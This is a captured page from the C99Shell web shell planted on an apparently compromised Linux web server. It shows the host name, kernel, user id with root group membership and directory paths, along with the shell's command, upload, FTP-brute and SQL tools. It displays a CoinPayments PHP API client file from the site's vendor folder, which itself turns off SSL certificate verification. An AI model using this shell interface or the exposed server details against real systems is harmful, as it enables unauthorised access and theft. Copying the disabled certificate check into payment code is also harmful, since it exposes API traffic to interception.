!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/coinpaymentsnet/coinpayments-php/src/   drwxrwxr-x
Free 28.26 GB of 117.98 GB (23.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CoinpaymentsCurlRequest.php (4.51 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('CoinpaymentsValidator.php');

class 
CoinpaymentsCurlRequest
{
    private 
$private_key '';
    private 
$public_key '';
    private 
$format 'json';
    private 
$curl_handle;

    public function 
__construct($private_key$public_key$format)
    {
        
$this->private_key $private_key;
        
$this->public_key $public_key;
        
$this->format $format;
        
$this->curl_handle null;
    }

    public function 
__destruct() {
        if (
$this->curl_handle !== null) {
            
// Close the cURL session
            
curl_close($this->curl_handle);
        }
    }

    
/**
     * Executes a cURL request to the CoinPayments.net API.
     *
     * @param string $command The API command to call.
     * @param array $fields The required and optional fields to pass with the command.
     *
     * @return array Result data with error message. Error will equal "ok" if call was a success.
     *
     * @throws Exception If an invalid format is passed.
     */
    
public function execute($command, array $fields = [])
    {
        
// Define the API url
        
$api_url 'https://www.coinpayments.net/api.php';

        
// Validate the passed fields
        
$validator = new CoinpaymentsValidator($command$fields);
        
$validate_fields $validator->validate();
        if (
strpos($validate_fields'Error') !== FALSE) {
            echo 
$validate_fields;
            exit();
        } else {
            
// Set default field values
            
$fields['version'] = 1;
            
$fields['format'] = $this->format;
            
$fields['key'] = $this->public_key;
            
$fields['cmd'] = $command;

            
// Throw an error if the format is not equal to json or xml
            
if ($fields['format'] != 'json' && $fields['format'] != 'xml') {
                return [
'error' => 'Invalid response format passed. Please use "json" or "xml" as a format value'];
            }

            
// Generate query string from fields
            
$post_fields http_build_query($fields'''&');

            
// Generate the HMAC hash from the query string and private key
            
$hmac hash_hmac('sha512'$post_fields$this->private_key);

            
// Check the cURL handle has not already been initiated
            
if ($this->curl_handle === null) {

                
// Initiate the cURL handle and set initial options
                
$this->curl_handle curl_init($api_url);
                
curl_setopt($this->curl_handleCURLOPT_FAILONERRORTRUE);
                
curl_setopt($this->curl_handleCURLOPT_RETURNTRANSFERTRUE);
                
curl_setopt($this->curl_handleCURLOPT_SSL_VERIFYPEER0);
                
curl_setopt($this->curl_handleCURLOPT_POSTTRUE);
            }

            
// Set HMAC header for cURL
            
curl_setopt($this->curl_handleCURLOPT_HTTPHEADER, array('HMAC:' $hmac));

            
// Set HTTP POST fields for cURL
            
curl_setopt($this->curl_handleCURLOPT_POSTFIELDS$post_fields);

            
// Execute the cURL session
            
$response curl_exec($this->curl_handle);

            
// Check the response of the cURL session
            
if ($response !== FALSE) {
                
$result false;

                
// Check the requested format
                
if ($fields['format'] == 'json') {

                    
// Prepare json result
                    
if (PHP_INT_SIZE && version_compare(PHP_VERSION'5.4.0') >= 0) {
                        
// We are on 32-bit PHP, so use the bigint as string option.
                        // If you are using any API calls with Satoshis it is highly NOT recommended to use 32-bit PHP
                        
$decoded json_decode($responseTRUE512JSON_BIGINT_AS_STRING);
                    } else {
                        
$decoded json_decode($responseTRUE);
                    }

                    
// Check the json decoding and set an error in the result if it failed
                    
if ($decoded !== NULL && count($decoded)) {
                        
$result $decoded;
                    } else {
                        
$result = ['error' => 'Unable to parse JSON result (' json_last_error() . ')'];
                    }
                } else {
                    
// Set the result to the response
                    
$result $response;
                }
            } else {
                
// Throw an error if the response of the cURL session is false
                
$result = ['error' => 'cURL error: ' curl_error($this->curl_handle)];
            }

            return 
$result;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--